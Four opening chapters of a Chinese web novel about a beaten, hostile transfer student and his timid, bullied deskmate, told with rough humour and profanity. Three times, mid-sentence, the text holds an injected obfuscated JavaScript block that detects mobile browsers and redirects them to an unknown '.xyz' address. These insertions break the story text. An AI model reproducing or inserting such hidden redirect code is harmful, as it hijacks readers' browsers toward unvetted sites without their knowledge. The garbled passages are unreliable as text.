《同桌是根硬骨头》 1. 第 1 章 高二(21)班坐拥47名大将,大将们波诡云谲的十六七八年生涯里,貌似还没出现过如此狼狈的转学生。 连同班主任大马猴都干在了讲台上。 而人群视线的焦点,颜值不详,性格……绝对不良。 他穿着简单的白t黑裤,身形修长挺拔,领口往上是一截白皙的脖颈,环着一圈紫得发黑的印子,跟才上完吊似的; 视线再往上些,薄薄的嘴唇破皮了、红黑的嘴角发着肿,而清瘦的脸颊上印着个五指分明的巴掌印,印子里还隐隐泛出血丝。 至于那飘逸的乌黑短发,更是被薅得乱成鸡窝。 “呃……这是转来我们学校的新同学,将要与我们度过接下来的近两年时光。”大马猴捏了截白粉笔在手心里,抠着上面的粉末。 他舒了口气:“——大家欢迎!” 满教室鸦雀无声,四十七名大将全都望着满是战斗痕迹的那张脸。 大马猴见他们不说话,登时来气了:“叫你们说话呢,拍个巴巴掌欢迎欢迎啊!” 新同学冷得能给企鹅一个家的眼神从左至右扫荡到每个同学身上。 顿时,四十七名大将完全同步地低下了头,违心地鼓掌,要死不活地:“欢迎欢迎,热烈欢迎……” 尾声往下走,挑战了个许多歌手现场都发挥不出来的完美“下行音”。 PERFECT! 大马猴松了口气,艰苦卓绝地侧过脸给了他个笑容,和蔼地说道:“那新同学做个自我介绍吧。” “江淮。” 江淮说到这顿了下,目光穿透一尺厚的墙壁跟外头的父母对上,凭空对峙似的,不过只一秒他就挪回视线。 哼了一声,冷冷道:“别跟我有任何瓜葛。” “……”班上的人瞬间全把头抬起来了。 连大马猴都笑了个趔趄,把手里那截白粉笔都挫骨扬灰了,“呃……他的意思大概是:不想给大家添麻烦。” 江淮斜了他一眼。 噗呲有电流顺着脊椎就冲上了脑门,大马猴僵硬地笑着:“快、快找个位置坐下吧。” 再跟这新同学说下去,他的假笑要劈了。 教室里的布局还是老传统,两人同桌,有事没事划个三八线什么的。 那显然是有一桌空着的。 江淮刚扫了一眼就找到自己的坟了,两手插兜地径直走到最后一排。 靠窗、靠里。 他妈的坐个座位还要先过个人! 这人还他妈支个脖子把他的脸看着……看锤子看,眼珠子给你抠出来捐给猴子! 江淮冷冷地曲指敲了下眼珠子的桌面:“让一下。” 眼珠子愣愣地看着他,僵硬得跟把老骨头似的起来,看得出空间狭小,他椅子后背是紧挨着后面墙壁的。 要想进去,江淮得支个长腿跨进去。 姿势滑稽不重要,重要的是两椅子中央这眼珠子放了顶高一摞书,他没落脚地儿。 滚你妈的。 他烦躁地抬起腿,踩着外头的椅子正中就往里进去了,一屁股坐在椅子上,抬脚踢了下前桌卡进自己桌子里的椅背,烦躁地说:“往前,傻逼。” “傻逼”默默地把椅子往前拉了拉。 于是江淮抬腿,膝盖顶着空课桌就往前挪了一小截距离。 终于坐舒坦了。 他想也没想就把两条手臂扔在桌上,额头压着把脸翘着埋了下去。 眼珠子默不作声地用校服袖子揩了揩椅子,小心翼翼地坐回去。 江淮是吧? 行,先记着:惹不起。 - 早上八点进的班,八点十分挂彩的新同学就上了校园墙。 被里三层外三层骂了个外焦里嫩香脆松软。 八点三十一段视频被千人留言。 视频内容发生在星期一也就是今天的早上七点四十分——还挺新鲜的。 事情是这样的。 早自习下课后保安室外打响了迎接新同学的第一枪。 但不幸熄火了,新同学才下车转身拔腿就跑,于是那辆彪悍的黑车毫不迟疑地就往前全速撞上去,新同学冷着眼被逼到了角落里。 新同学正欲起跳、踩着车头飞出去,副驾上体格彪悍的妇人推开车门下来就往他身上猛地砸了个皮包。 紧接着侧边壮硕的男人抬脚踹向新同学的脑门! 脚风十里飘香,但新同学太高了没踹到,锃亮的皮鞋擦过他的胸口。 保安立刻发自肺腑地感受到了使命的召唤,上前就要逮住那两个人。 但失败了,差点砸他脸上的户口本,分明诉说着这可怕的“三角关系”是何关系: ……打趴天下无敌手的儿子终究是在父母的钳制下进了学校。 老两口在楼梯上跑不利索,新同学于是进行了“二次革命”,可惜被他的生身父亲一脚踹翻摔到楼梯下,连滚六阶楼梯。 革命以失败告终。 新同学无奈跟着到了走廊外,已然全身负伤,但熊熊燃烧的心让他开启了第三次的挣扎——最终被四只手掐着前脖后颈硬拽到了(21)班门口。 英勇就义。 【1L:我操,这是亲爹亲妈!】 【9L:命真硬啊,是我早死在了第一阶段:让车给碾碎了。】 【76L:带劲儿啊,我愿封之为八中“带刺的玫瑰”。】 【250L:二十一班,迎接真神吧。】 - 第二节下课后是跑操时间,滴答滴答的跑操铃声响起的时候,大将们怨声载道地冲出了教室。 体育委员陈炜走到最后一排,不敢惹地小声说了句:“同学,跑操,不去要罚站!” 江淮凌乱的后脑勺朝着天,声音闷闷地传出来:“不去。” 陈炜:“……” 八中自从上学期某领导出去视察了某世界闻名的中学后,开始进行伟大的校园改革。 于是就出现了“计分”制度。 哪项指标没完成就扣分,扣的分折合成老师的工资——领导言:“学生不教,老师之过!” 于是为保钱包依旧鼓囊,班主任与老师结成同盟,心照不宣地向下施压。 在最末一环,班干部们便成了权力的集大成者。 当然,也是责任的担大成者。 所以他们怎么着也要努力完成指标,不惜任何代价。 “你,”陈炜清了清嗓子,一把从后拽住楚明清瘦的后颈。 楚明就是新同学心里的眼珠子,被拽住时他浑身抖了一下,慢慢转过脑袋来,小声:“体委。” “去叫那尊瘟神下来跑操。”陈炜重重地推了他一下:“不然你死定了!” 楚明埋着头:“……哦。” 忙不迭地跑回教室,那尊神还在趴着睡觉。 楚明站在空荡的门口好一会儿,耳边是巨大的跑操铃声,他使劲地翻来覆去捏着手指,手指都捏得红一片白一片,脸颊因为天热也蒸得有些发红。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295011|182703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但他还是没想好要怎么叫这尊神起床。 最好是在不被打的情况下。 江淮脸上脖子上背上屁股上腿上脚上哪哪都是伤,痛是一阵一阵的,他妈的他根本没睡不着。 本来想趁着这群人跑操的间隙去医务室拿点药,妈的突然又进来个人。 还杵门口半天都不动! 江淮受不了了,抬起脸往椅背上利落地一靠,不幸嘭地一声后脑勺撞到了墙壁上。 脑浆都给他撞均匀了! 他疼得牙直抽抽地发酸。 但面上还是相当端得住,只是面无表情地伸手往后脑勺一摸,便顶着发昏的脑子、冒金星的眼睛冷冷地看着门口的人。 楚明看愣了:“……” 人的脑袋原来可以这么硬的吗? 他之前被拎着脑袋往后一砸,就趴那干呕得肠子流一地了。 “有事吗?”江淮说,“没事滚出去跑操。” 楚明瑟缩地耸了下肩:“……有事。” “屁事!”江淮骂道:“做了赶紧滚!” 真凶啊。 内双的眼睛还带伤,眼尾擦出一横条带着血色的指甲划痕,看着就像……社会的。 楚明扒着门,几个深呼吸后才说:“叫,叫你跑操。” 江淮:“……” 他嗤笑一声:“你他妈看我这个样子,是能跑操的样子吗?” 想起方才他的坚硬后脑勺,楚明发自内心地点了点头:“是。” “滚!”江淮一脚踩着他凳子出来,被楼梯磕过的腿登时炸出放射性疼痛,他嘴角一抽,佯装淡定地走到门口,“我不跑操。” 说完他拔腿就走。 “你……”楚明眼见着他擦过自己的胳膊就往外走去了,想起上次陈炜一脚踹到肚子上痉挛的炸痛,他狠地一咬下唇,抬手想抱住他的手臂。 奈何江淮走得太急太快,他没抱住。 自己却因为惯性往前猛地摔去。 手忙脚乱之下抱住了江淮的……大腿。 着急忙慌中脸还不小心磕在了他后膝盖弯里。 嘶!嘶!嘶! 江淮这伤不动都疼得他要死,这会儿让眼珠子又抱又撞又磕的,他心里早跑过了一万匹草泥马。 痛得他差点对着空无一人的走廊跪一个。 “你他妈有毛病啊!”江淮扭过头看着楚明。 嘶,扭头的时候脖颈差点给扭断了,他疼的又是一抽。 “你,”楚明也想起来,但怕没抱住他腿自己要挨他一脚踢,豁出去地抱紧了:“你去跑操……我就放开。” “神经病!”江淮拽了一下没拽回来自己的腿,但这一脚踢出去得照着他同桌胸膛踢,看着弱不禁风的一个要是真踢出个好歹来他可承担不起。 他骂了不知道几十代的祖宗:“老子去请假,行了吧?” 行了吗? 楚明也不确定,体委让他叫江淮去跑操……请假了应该也算到场吧。 他想了一会儿,愣愣地点了下头,抿着已经被咬破了的下唇:“……行。” 江淮一腔怒火没处施展,见他还抱着自己腿,皱着眉说:“放开我,傻逼。” 楚明怕挨打,死死抱了会儿,想好等会怎么翻身不会被踹到后,才迅速地往旁边一撤。 但意料之外的是:江淮没有揍他。 只是气急败坏地一只脚深一只脚浅地转身离开。 他只听到远远的一声:“有病。” 2. 第 2 章 校医务室在进操场的必经之路上。 江淮撑着墙一阵呲牙咧嘴,他腿本来就有伤,被他爸踹下楼梯后估计又磕到膝盖骨了,他痛得一拳砸向墙。 再痛他把腿废了! 右腿缓过劲来,江淮伸手把乱飞的五官抹回原位,像方才什么也没发生一样地手心离开了墙面。 站得笔直。 刚迈出一步他“嘭”地一声被撞了个九十度大旋转,额头结结实实地磕在了墙上。 他难以遏制地翻了个白眼,眼前晃过一片稀里哗啦的星星。 楚明跑出两步才刹住,忙跑回来对着亲墙的人鞠躬,声音打着颤:“对,对不起。” 江淮从大牙里哼出一声。 “你他妈眼睛不用拿去捐行不行!”他气得牙痒痒,猛地转头看向这个罪魁祸首。 还没看清人影,他就因为脑袋旋得太急,卡碰擦地晕了过去。 楚明吓了个咋呼,前一秒还在破口大骂的人,下一秒脑袋就砸在了他脚上。 得亏他没甲沟炎。 楚明手在发抖,怕这人是在装睡他只要弯腰便会有一巴掌甩自己脸上。 做了半天心理建设他才小心翼翼地问道:“你……没事吧?” 没有装睡,也没有巴掌。 楚明前脚掌被压得生疼,他看着已经绕圈开跑的班级方阵们,咬牙拎住江淮两条格外有力的胳膊、拽着人往医务室走。 江淮是以上半身悬空、下半身拖地的姿势进的医务室。 医务室门口有条高门槛,楚明怕这一颠簸会颠到他命根子,于是松了手。 以至于江淮无意识地上下半身以门槛为界分离了。 楚明对着正刷视频的医生喊了句:“他晕倒了。”便飞速跑了出去。 听到声音,医生往门口看了眼,唰地一下注意到半截身子正卡进医务室。 他惊得手机都甩飞了:“吓老子一跳!” 可怜江淮这一身明明白白的外伤,八中医务室坐镇的却是个五十岁的老中医。 下意识喊“大夫”的那种医生。 中医双手抱胸看着被扶到床架上满脸红印紫痕的人,陷入了沉思。 幸而江淮的身体素质是出了名的好,半条腿断了都能飞起来满场跑地打篮球。 他只昏睡了一会儿就睁开了双眼。 入目是一根针……我操,针! 江淮压根没意识到自己身上还满是伤,一脚踹向医生的手后翻身利落一滚,不幸左边脑袋又撞到了墙上。 “我是医生啊同学。”好在那一脚没怎么用力,中医活动了下手腕便舒坦了,他看着捧着头嗷嗷叫的人,见他没穿校服腿还特长两条:“你是学生吗?” 江淮脑袋晕乎乎的。 屋里满是药的气味,这人说的话又在他脑子里反复盘旋…… “呕——”江淮抱住垃圾桶开始干呕。 肠子都他妈吐出来了快! 中医立刻踮脚上去顺他的背。 “年轻人不要乱减肥啊,身体机能是一个精妙的系统,要多方平衡……” 江淮边吐边骂:傻逼庸医。 他减锤子的肥! - “基础不牢,”大马猴在讲台上摇头晃脑:“地动山摇——哎哟我靠?” 他脑花还没甩成形前门忽然被一拉,阳光射进来,高大挺阔的身影逆光站在门框里。 大马猴要甩出去的粉笔节立刻就攥回了手心,他慈眉善目轻声细语:“江淮?” 江淮没答应,黑色口罩挂在鼻尖,他冷着眉眼径直走到最后一排。 “我们继续上课——哎基础不牢地动山……”大马猴甩起头来。 江淮停在了楚明的旁边,眼里结着冰霜。 虽没看清撞他的人的正脸,但那人的声音太有辨识度了,就跟贴了身份证号码似的。 楚明手指攥紧了些,刚要起身给他让路肩膀就被一压,江淮有力的手按在他肩头,整个身子的重量跟着沉下来。 他勾掉半边口罩,垂着的黑色布罩挡住了来自前桌们可能射向楚明下半张脸的视线。 “看着我。”江淮压低声音说。 楚明肩膀被压得有些痛,耳朵尖贴着江淮的鼻尖,江淮呼出的热气扑在他耳朵窝里,他抖了一下。 始终不敢转过去正面看他。 大马猴对后桌那俩人视而不见,用戒尺敲了敲黑板,引来所有人的视线:“现在的高考趋势逐渐……” 除了少数个别人,基本没有人扭头看向最后一排凑得亲密无间的两人。 江淮伸手掰过他下颌,盯着他眼睛:“你故意的是不是?” 楚明只能眼观鼻鼻观心地往下看:“……不是。” 江淮大拇指指腹往他下颌线端头用力一按:“我不敢揍我爸妈,不代表我不敢揍你,听明白了吗?” 楚明吃痛地往后仰了下:“明……明白。” 江淮没再挨他,直起身子冷声:“让我进去。” “嗯……”楚明伸手摸了下被钳得发烫的下颌,快速从座位上腾起来,给他让开了道。 江淮踩着他板凳进去了。 楚明站了一会儿才重新坐下,只坐了板凳靠右边的一半。 大马猴见两人没闹了,暗暗舒了口气继续讲,声调上扬了不少:“这道题是典型的……” 临近下课的时候他放了一道题在黑板上。 教室里叽叽喳喳的声音弱下去,转而是沙沙的笔尖戳纸声。 江淮没有书没有本子没有笔。 早上七点锁紧的房门被不知道几脚踹得稀巴烂,老爸冲出来命令他洗漱,他开始没当回事,觉得没什么事挺要紧。 洗漱完就被爸妈连同保洁阿姨跆拳道陪练拽胳膊拽腿抻平了架到车上。 他没想到来的是学校。 更没想到中考没有成绩的他,还直接被塞进了高二上的教室。 想到这儿江淮就气。 他打雷天站树下指着天发的誓:“去上一天学我江淮是一天狗!” 闪电闪了大半晚上,雷轰隆响了大半晚上。 他在树下接二连三地发誓,愣是没让惊雷给劈死。 老天爷准了他的誓,却叫他亲妈亲爸给挑破了…… 趴课桌上睡着不得劲,硌人,庸医让他喝了包感冒灵,江淮迷迷糊糊地睡进去了。 醒来时骨头散架肌肉抽疼。 已经早上最后一节课了,讲台上站着个女老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295012|182703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,教历史的。 长得跟女阿凡达似的。 阿凡达笑起来有点瘆人:“前两学期我们学了中国古代史和近代史,那找个同学给我们串串历史线——楚明,你来说说?” 江淮单手托腮,余光瞥见他同桌站了起来。 十根手指各搓各的麻将,一直绕啊绕的直拧巴。 “公元……公元前,”楚明咬了下下唇,把头埋得很深。 半天都没蹦出个公元前多少年。 教室里哄然一片笑声。 江淮厌弃地从右边嘴角哼出一声。 阿凡达有些挂脸,叹了口气后起了个头:“公元前两千零七十年,你继续。” 楚明依旧没抬头,声音净耳可听地打着颤:“公元前两千零七十年,夏朝建立;公元前一千零四十六年,商朝建立——” “停!”阿凡达戒尺在桌面上狠地一敲:“放个暑假什么都忘干净了是不是!还都是初中知识,真不知道你怎么考上的高中。课后给我抄十遍,明天上课前交我办公室。” 同学们纷纷回头看着楚明,笑得格外爽朗。 楚明轻轻舒了一口气,手指头都搓红了。 老师没让他坐,他便一直站着,垂眸看着桌面上摊开的历史笔记。 笔记上分明画着一条历史线,清晰串着:前2070年夏朝;前1060年商朝;前1046年周朝…… “有新面孔啊,”阿凡达巡视一圈后,视线落在江淮身上,“叫什么啊?” 全班同学异口同声——“江~淮~” 江淮嘴唇抿成了一条线:“……” “蒋快同学是吧?”阿凡达把凑出来的耳朵缩回去,“那请蒋快同学给我们串一下历史线,从近代开始吧。” 江淮想站起来,但没能够。 其一桌离墙太近,椅子没有后缩空间; 其二腿即使拖出来也不能放两椅子之间,楚明的书立那有他小腿高。 其三,他上一次出去是在无人环境下,除了楚明——不存在姿势扭曲招人笑话的可能。 他索性懒得站也懒得表现了,后脑勺顶着墙,他无所谓地看着讲台:“不会。” 教室里鸦雀无声:“……” 楚明幅度很小地偏了下头,也在看他。 江淮刺了他一眼:“看屁看。” 楚明抿了抿唇,把脸别开了。 阿凡达脸更黑了,她皱着眉:“你也抄十遍,明天上课前交我办公室。其余人也记得回去背清楚,明天我再抽起来背不出来就不是抄几遍的事了!” 四十六名大将跟软了的黄花菜似的有气无力地回道:“是!” 江淮偏头看了眼座位间的这堆书。 皱巴巴的全是折角,应该不是楚明的,最上头这本是高三的数学教辅,还有的侧边张牙舞爪地爬着一堆不是“楚明”的字。 他皱了下眉,伸手拉了把楚明的袖子。 中间隔了张椅子。楚明又站得老远,江淮上半身也跟着移出去一截才够到,姿势稍显狼狈。 楚明看过来的时候他飞速恢复了原来的坐姿。 江淮冷着眼,食指往下指着这堆书: “这堆书,要么搬走,要么我扔,你选一个。” 3. 第 3 章 楚明看着那堆书。 江淮的手放在书堆上面,手背上有条两三厘米左右长的口子,血沾凝在上面,衬得肤色挺白嫩的。 见他半天不说话,江淮烦躁地伸了三根手指:“给你三秒。” 于是楚明的目光落在他伸出来的三根手指上,跟杂志封面的手一样,白净修长、骨节分明。 除去指节上的细小擦伤,是挺赏心悦目的。 楚明眼见手指只剩下一根,小声说:“我搬走。” 江淮收回手指,趴回桌面继续硌着睡。 楚明余光看着他。 头发还是乱的,后脑勺的地方还凝了块血痂,估计是磕的那两次造成的。 他突然生出一丝愧意。 往操场跑的时候其实跑操已经快开始了,他怕迟到就跑得飞快,根本没留意到有人,一不小心就把江淮撞晕了。 楚明抿了下唇,见他隔两秒换个姿势一趴,两根眉毛跟川剧似的变着法子地皱。 讲台上阿凡达在讲两三个月前才出炉的高考真题,只挑了两道题,声情并茂地在讲做题法则,应该没有心情关注除她自己英姿以外的事。 楚明把校服外套拉链拉下,脱下来抱在手里。 江淮一直脸朝窗外,但右半边脑袋不堪重负跳突性地疼。 他挣扎两番后往右边趴着。 换姿势时眼前忽地多了团东西,他拧了下眉,才看清是一件外套。 不知道在他右边脑袋空气里杵了多久。 江淮看了他一眼:“干嘛?” 楚明没敢看他,见他注意到了便把外套放到桌缝之间,小声说:“……垫着吧。” 江淮嘴角往下撇了些,哼出一声:“谁需要。” 周一至周五每天上午第五节课最为特殊,上到十二点十分,历时55分钟,是除却高三晚晚自习的课时之首。 江淮趴得手都麻了,还没听到下课铃声。 他不经意地瞥了眼他同桌,正垂头写着什么,在做笔记吧。 江淮手指在桌面戳了一会儿,找准时机眼疾手快地把那件校服抓过来塞到了脸下面,迅速地面朝窗户闭上了眼。 楚明不瞎。 江淮的全套动作都在他余光里。 他看得有些想笑:还以为会僵持多久呢,这才十分钟不到吧。 阿凡达老师就跟她非实名参演的电影一样,课时时长感人。 下课铃声响起时依旧滔滔不绝,都到舒缓纯音乐铃声的中后期了,她才大手一挥:“去吃饭吧。” 可惜出师不利。 大将们才刚起势,大马猴就从前门出现,脸沉得跟茅坑里的臭石头一样。 “学生会反映,上午九点三十七分,监控里咱班有两个学生还没进跑操队伍,扣班级分一分。”大马猴叹了口气:“其余人走,这两位留下。” 陈炜举了下手:“老师江淮同学找我请过假,已报给学生会同学,只有楚明同学未到场会影响班级分。” ? 他什么时候请的假? 江淮皱了下眉,坐直时余光瞥了眼正垂头写着什么的楚明:帮请的? 那还真是自作多情傻逼一个。 “那江淮同学也去吃饭吧。”大马猴说。 教室里瞬间就空了一半,十几秒后只余下趴着睡觉的江淮和垂着脑袋罚抄历史线的楚明。 大马猴坐到了楚明的前座,怒其不争地说:“楚明,为什么不去跑操?” 江淮挑了下眉,心下里哼哼: 为什么不去? 正义感班级荣誉感爆棚呗,还想着抓他去跑操呢。 楚明没有说话,握着笔兀自抄着历史线。 “生病了吗?生病了记得请假。”大马猴看他这副样子以为是他害怕到了,于是施加了一层:“生病也不是理由,你看看人家江淮,一身伤还知道向体委请假,你作为老同学了,还没有半点集体意识吗?” 江淮感觉脑袋顶上有一小块头皮跳了跳:“……” 他最烦这种捧一脚没的踩一脚有的,单手把上半身撑起来,冷着眼说:“我没请假。” 大马猴正说得起劲,冷不丁耳边冒出一声,他转过头。 楚明写字的手轻顿,微微往江淮的方向偏了下脑袋。 江淮冷声说:“批人别乱带我,哪天人跳楼了我怕晚上睡不着。” 大马猴一时间不知道该说什么:“……” “另外他集体意识早他妈高出正常线了,迟到是因为叫我去跑操,”江淮把校服外套又叠了一层,说:“我给他揍了一顿。” 楚明握笔的手指颤了一下。 他扭头看着江淮。 却见江淮又趴回了桌面,乌黑的发顶向着自己。 “……这样啊。”大马猴咳了一声,这新同学是九成九没心情配合他的,再批斗楚明肯定也得批斗江淮,他连带不起后者,重重地叹了口气:“行吧,我给上面反映一下情况,下次注意按时跑操,听到没有?” 楚明轻轻地点了下头:“嗯。” 大马猴胳肢窝里夹着他的两本教辅就出了教室。 教室里安静下来。 江淮假睡睡得跟死了一样,点儿声音都不出; 楚明还在嚓嚓嚓地罚抄。 枕着的外套很干净,上头还浮着淡淡的洗衣粉的气味,挺好闻的。 方才上课时他闻着这点气味,跟被下了药似的当真睡了过去。 这会儿药效已过,睡不着了。 当然主要是因为今天还没吃过饭,饿得他肚子痛。 再者楚明坐着一直不走,也挺烦的。 江淮装不下去了,坐直,声音带着些火气:“你帮我请的假?” 楚明摇了摇头:“不是。” “他妈的说实话,”江淮拧眉:“别装。” 楚明停下了抄写的动作,声音小了一些:“……真不是。” 应该是没说谎。 江淮想了想:估计是那体委卖给他的一个人情。 主意都打他身上来了? 那抱歉,十成十得亏。 江淮冷哼了一声,把外套叠好后放到他桌上。 楚明再一次停笔,看向自己被睡得皱巴巴的外套,乱得就跟江淮头发似的。顿了一下,他伸手抱回外套,抖了一下,穿到身上。 江淮看着他的动作,眉心往下压了些:“你就这么不讲究?” 楚明垂眸看着桌面,没敢直视他:“……讲究什么?” 江淮双手抱胸,以一个谨小慎微的力度把脑袋靠在墙上,微扬着下巴看他说:“我才睡过。” 楚明是真不介意:“……你很脏吗?” 江淮被噎住了:“…………” 脑袋顿时抽疼,他骂道:“你他妈能不能让我出去?” ? 楚明听他突然吼的这一声,笔都煞有介事地抖了一下。 他站起身来,让开了自己的椅子。 江淮踩着他的椅子出去,四平八稳地离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295013|182703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了教室。 等他没影了,楚明才望向后门。 看了一会儿后他没继续坐下,弯身把座位间半腿高的杂书堆搬了出去。 - 江淮没有饭卡没有手机没有钱。 去食堂端了碗免费的汤,喝了一口就把汤原封不动地吐回碗里,走到垃圾桶旁把整碗汤倒了。 并回收了铁碗。 他不信邪地摸了下裤子口袋。 这不摸不打紧一摸吓一跳,他裤兜里不知道什么时候多了张白卡。 卡面上粘着张红白色的姓名贴,写着“楚明,高二(21)班”几个字。 字挺好看的,有笔锋也有劲儿。 江淮顿了一下。 想起在医务室时他捧着感冒灵喝的时候,庸医跟玩儿似的在那刷什么卡。 他当时以为是发票或者欠条就随手戳进兜里了。 江淮转身去了校内超市。 拿了两块盒装三明治和两瓶凉白开,结算时,只见机子上显示“剩余金额:3.7元。” 江淮:“……” 几十块钱的余额出来耍什么大刀! 学校作息规矩什么的江淮不知道。 八中,只存在于他念一二三四五中的时候可能会延伸想到的排号,但更多的他听都没听过。 回到教室时发现除了楚明还是楚明,教室里别无他人。 江淮见他起身,往里跨过去,冷声问:“你不吃饭?” 楚明没有说话,只是弯身坐下继续写东西。 江淮:“……” 他这才想起楚明的饭卡在自己手里。 想吃估计也吃不了。 江淮靠在椅背,把三明治和凉白开一齐放到他桌面左上角的空位处,片语不发地偏过头,看向窗外。 楚明眼皮抬了下,轻声:“谢谢。” “谢屁谢。”江淮拧了下眉。 “……”楚明不知道自己的话又戳到他哪根神经了。 三明治包装盒上卡着几个订书针,江淮拆老半天、指腹都被针边刺得紫红,还没拆完。 毛病吧。 不想给人吃就别他妈出来卖啊! 他烦躁地想把三明治盒甩出窗外,犯一个激情高空抛物罪。 但还没来得及开窗,课桌上就多了个三明治——开着盒的,订书针被完整取下。 随即楚明清瘦的手缩了回去。 江淮眉毛又拧深了:“瞧不起谁呢。” 楚明在心底里轻轻叹了叹气:“……” 江淮说完,三下五除二把盒子暴力拆卸开,其中一根订书针在指头戳了个小孔他都浑然不觉。 拆完后他朝楚明挑了下右边眉毛。 楚明:“……” 他默默地伸手,想把献出去的三明治拿回来。 结果还没碰到,江淮便把暴力痕迹分明的三明治盒放到了他手心里。 江淮捧着楚明的三明治咬了一大口,才扬着眉毛含糊不清地问:“如何?” 楚明垂眼看着手心里的盒子。 给拆得基本没形了,三明治顶还因重力往下凹陷了一截。 楚明静静地咬了下去:“……厉害。” 午休时间持续至下午两点二十分,距下午第一节上课时间间隔半小时。 一般是班主任来守自习。 两点半的时候班级人基本齐了。 “江淮同学,”大马猴从后门探进来个头,笑着说道:“麻烦出来一下。” 4. 第 4 章 走廊边,大马猴提了提一个白色布袋,说:“这是你爸妈送来的东西,让我转交给你。” 江淮伸手把布袋拽过来看了一眼。 身份证、现金、一长卷书籍订购小票、一黑一红两只笔。 “另外,你爸妈决定让你住校。”大马猴说:“2号宿舍3楼316房间,六人寝,可能需要稍微将就、习惯一下。” 大马猴说这话时一直注意着江淮的微表情。 随时准备应付各种带妈的问题方式。 但一直把该交代的交代完,也只见江淮面无表情地掀了下眼皮:“饭卡钱哪里充?” 大马猴下意识说:“食堂一楼有充值窗口,线上的——” 还没说完江淮就风卷残云了无痕迹了。 大马猴摇了下沉甸甸的手机:“……这孩子。” - 江淮回到教室时第一节课已经上到一半。 语文老师安静地站在讲台上翻看着教案,见有人进来她抬了下头,垂头继续看教案的时候说了句:“默写《赤壁赋》。” 江淮下意识心想:关我屁事。 他往后排走的时候,脚步闲散,跟来巡课的似的。 目光从形形色色的大脑门、油头上晃过,径直走到最后一排时,他突然觉得楚明长得还挺清透。 殊不知现在的他满身挂彩、跟看守所放出来的混混一样。 楚明起身让座,等他进去又继续坐下,埋头苦写。 教室里的风扇转的“咯吱咯吱叽叽叽”,门窗外热浪滚滚,闷着的教室里哄着睡意。 九月初的天回着炎日的热烫。 说小话的少之又少,都正跟周公缠绵悱恻欲罢不能呢。 “最后一排同学往前收,没交的名字报给我。”语文老师说。 板凳擦着地面被拉开,刺啦地在耳膜上划了一道道。 楚明起身,目光从江淮乱糟糟的头顶越过,看了眼他连本子纸都没有的空桌面,默不作声地往前收。 “谁没交?” 楚明说:“新同学。” “来新同学了?”语文老师挑了下眉毛:“我脸盲,认不出来……你提醒他找课代表重新默写一遍交上来。” 楚明把一摞本子放到讲台上:“好。” 回到座位,楚明在草稿本上写着: 找语文课代表(第三列第二排女生)重默《兰亭集序》《赤壁赋》。 而后把纸撕下来,折叠两次后放到了江淮桌面右上角。 第一节下课后是眼保健操时间,健完,学校广播响了一下。 “请高二(21)班楚明同学到失物招领处领取你的饭卡,再通知一遍……” 学生时代,不管因为什么原因上了学校广播,好像都是糗事一桩。 广播念到一半教室里就哄然一片笑声,几十来号人扭头看着最后一排。 楚明低垂着头从后门出去了。 江淮眼皮跳了一下,他伸手拿过桌面上多的纸条,扯开随便看了一眼。 管真多! 他默不作声地把它揉成纸团,随手一抛抛进了靠门那边的大垃圾桶里。 - “同学你刷一下卡,看少钱没有。” 楚明往机器上放卡,上面显示出:“剩余金额:203.7元。” 他顿了一下:“多了。” 学生会的:“……这种情况不用说出来,自己偷偷享福就行。” 楚明把卡揣回兜里,转身回教室。 “哎明天我想吃小笼包,帮我带一屉的量。”路过19班的时候,有个男同学跑了出来,“你那新同桌看着不好惹,我怕课间去找你说扰了他清净。” 楚明垂头盯着地板砖:“嗯。” “哦对了,下次我没找你你记得来问我要带什么。”男同学重重拍了下他的肩,“我不吃早饭要低血糖。” 楚明吃痛地耸了下肩:“……嗯。” 他回教室时上课铃正巧打响。 江淮却不见了身影。 他坐下时往旁边瞥了一眼,桌面上空荡荡一片,桌肚里塞着个布袋。 楚明默默地收回视线,这节课科任老师临时开会,上自习。 教室里哄哄闹闹的,同学们交头接耳小话不断。 楚明才从桌肚里摸出本数学教材,还没摊开,右侧脸颊就被飞来的大纸团砸中了。 不痛,只是纸团边角有些割脸。 他抬手抹了一下。 尖锐的笑声从第三列第二排的位置开始层层推过来,隐隐能捕捉到“女中豪杰”、“好准头”、“牛逼”等的词汇。 班长用食指指关节敲了下黑板:“安静一点,有学生会的巡查,小心扣班级纪律分。” 笑声慢慢淡下去,刺过来的视线也渐渐缩回去。 楚明把纸团展开。 “楚明同学,麻烦代我监督新同学重默那两篇,实在不行你自己再默一遍,明天早自习前请规规矩矩放在我桌面上。” 他默默地把纸张揉回原样,抬手把纸团扔进垃圾桶里。 但—— 